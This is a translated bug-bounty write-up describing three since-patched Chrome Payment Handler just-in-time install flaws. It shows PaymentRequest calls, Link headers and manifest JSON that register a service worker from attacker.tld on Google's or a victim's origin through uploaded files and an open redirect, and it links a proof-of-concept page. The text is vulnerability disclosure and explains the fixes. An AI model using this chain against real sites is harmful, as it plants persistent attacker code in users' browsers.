导语:本文将讲述如何通过Chrome的漏洞,来滥用即时支付应用。
当我阅读支付处理程序API方面的资料时,冷不丁看到了下面一句话:
Chrome还支持我们称之为即时(JIT)安装的非标准功能
天哪,我好想闻到了漏洞的味道。所以,我马不停蹄的考察了它的工作原理,读者可以在这里读到这方面的介绍。首先,支付处理程序API允许支付提供商处理发送给它们的支付请求(使用基于Service Worker的API)。什么是支付应用程序的JIT安装功能呢?其实我并不关心它是什么,我只知道存在这一功能。
当使用不受支持的方法调用付款请求时,例如:
new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });
Chrome会提取supportMethods中指定的网址(例如https://example.com/pay/)。提取的页面需要响应下面指向Payment Method Manifest的响应头部。
Link: <https://example.com/pay/payment-manifest.json>; rel="payment-method-manifest"
现在,Chrome将提取前面指定的Payment Method Manifest,具体如下所示。
{ "default_applications": ["https://example.com/pay/web-app-manifest.json"], "supported_origins": ["https://example.com"] }
接下来,Chrome将提取前面指定的Web App Manifest,具体如下所示。
{ "name": "Pay with Example", .... "serviceworker": { "src": "service-worker.js", "scope": "https://example.com/pay/" }, ... }
Chrome将使用“src”规定的JavaScript文件来注册Service Worker,其域为“scope”的值。当然,进行JIT安装时有一个前提条件,即用户必须点击“Pay”按钮。
幸运的是,默认情况下“Pay”按钮会自动获取焦点,因此,我们可以让受害者将回车键按3秒钟,这样就能够触发JIT安装了。
不知道您注意到没有,这个支付应用似乎来自www.google.com。事实证明,您可以在Web App Manifest中使用Service Worker脚本在自己的站点中指定任意“scope”,并且它很乐意在任何域内注册支付应用程序。
{ "name": "Pay to Attacker", .... "serviceworker": { "src": "https://attacker.tld/service-worker.js", "scope": "https://www.google.com/" }, ... }
尽管如此,它的行为看起来还是很奇怪,因为Service Worker的源仍然是攻击者的网站的域名,尽管它是使用Google的域注册的。尽管无法拦截导航/付款请求,但是,我却可以使用某些API,例如Console API,当用户访问google.com的控制台时,它就会记录所有的消息。这个漏洞已经非常接近UXSS了,但还是功亏一篑(我应该尝试使用数据URL脚本)。无论如何,这个漏洞在报告后,不到2天就得到了修复,并且在发布Chrome 68之前禁用了JIT安装功能(我获得了$5K奖金)。我注意到的另一件事是,实际上并不需要在受害者的站点上执行脚本来触发JIT安装。让我们假设,攻击者在自己的网站上建立了以下脚本。
new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });
Chrome将会获取不受支持的方法,该方法会响应以下响应头部。
Link: <https://attacker.tld/payment-manifest.json>; rel="payment-method-manifest"
Chrome按如下方式提取Payment Method Manifest。
{ "default_applications": ["https://victim.tld/user-upload/web-app-manifest.json"], "supported_origins": "*" }
现在,Chrome将从受害者的网站上获取Web App Manifest。这个Web App Manifest可以响应任何Content-Type、Content-Disposition等等。有些人可能会想,“针对JSON文件的Cross-origin No-CORS请求?这不应该被CORB阻止吗?”。是的,的确如此。如果该请求出现在渲染器进程中的话,确实会阻止其响应。但是,这个请求是由浏览器进程发送的,因此,不在CORB的范围内(但是,Chrome需要确保该响应不会泄露给渲染器进程)。
无论如何,Chrome会继续运行,并获取上面指定的Web App Manifest。
{ "name": "Pay to Attacker", .... "serviceworker": { "src": "https://victim.tld/user-upload/service-worker.js", "scope": "https://victim.tld/user-upload/" }, ... }
Service Worker脚本要求为Javascript Content-Type,但Content-Disposition等并不重要。
总之,如果您能够将某些文件上传到受害者的网站,就可以安装Service Worker,并且无需在受害者站点执行脚本(这是一个永恒的XSS)。当然这是一个bug,所以,我提交报告后,不到3周时间就将其修复乐(奖金为$3K)。
因此,只要确保Web App Manifest、Service Worker脚本和Scope URL是同源的,就能够修复第一个bug;通过确保Payment Method Manifest和Payment app来自同一站点,就可以修复第二个bug。好了,让我们看看这些漏洞的利用方法。
攻击者的网站调用:
new PaymentRequest([{ supportedMethods: 'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });
Chrome将获得不受支持的方法,该方法会重定向到攻击者的网站,该网站将对以下响应头部做出反应。
Link: <https://victim.tld/user-upload/payment-manifest.json>; rel="payment-method-manifest"
剩下的事情,恐怕就不用我多说了吧。我们只需要将另一个文件上传到受害者的网站(Payment Method Manifest),并希望受害者的网站重定向至与文件上传目标同源的网站。这样的话,就能够绕过所有安全检查,并且在没有脚本执行的情况下,在受害者的站点中安装Service Worker。我提交报告后,该漏洞也是在2天内修复好的(奖金为$3133.7)。
最后需要说明的是,该JIT支付应用程序可在Chrome 69中正常使用。
那么,现在有哪些可能的情况呢? 如果出现以下情况,您仍可以在同一站点内安装Service Worker:
· 您可以控制响应头部,以响应任意链接头部
· 您可以将同一站点中的JS文件和JSON-looking文件上传到您能够控制响应头部的地方
我认为控制响应头部是非常困难的一件事情,所以,目前的缓解措施已经足够好了(可是,这难道是滥用子域接管的一种新方式?)。此外,我们已经不再需要受害者按住回车键了,因为如果用户同意的话,Chrome将乐于接受点击或按键。
下面是一个用于同站点Service Worker安装的PoC。
https://attack.shhnjk.com/pay_handler.html